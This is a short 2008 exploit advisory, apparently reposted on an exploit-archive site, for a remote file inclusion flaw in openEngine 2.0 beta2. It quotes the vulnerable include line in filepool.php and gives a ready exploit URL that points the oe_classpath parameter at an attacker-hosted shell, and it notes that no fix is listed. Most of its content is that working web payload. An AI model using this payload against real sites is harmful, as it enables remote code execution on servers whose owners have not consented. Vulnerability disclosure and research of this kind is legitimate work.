openEngine 2.0 beta2 Remote File Inclusion Vulnerability

2008-09-26 19:01:04

**************************************************************************************

Author : By Crackers_Child
Contact: [email protected]
Greetz : str0ke & All My Friends

**************************************************************************************
Script : openEngine 2. 0 beta2 Remote File include Vulnerable
Download :http://downloads.sourceforge.net/openengine/openengine20_beta2.zip?modtime=1203083918&big_mirror=0

**************************************************************************************

Exploit : Site.com/script_path/cms/classes/openengine/filepool.php?oe_classpath=Shellz?


**************************************************************************************

Vulberable : include($oe_classpath."/openengine/thumbnail.php"); (filepool.php)


**************************************************************************************

N0te : Mubarek Ramazan Bayraminiz Kutlu Olsun Ey Musluman Halki :)
**************************************************************************************

#

Fixes

No fixes

Per poter inviare un fix è necessario essere utenti registrati.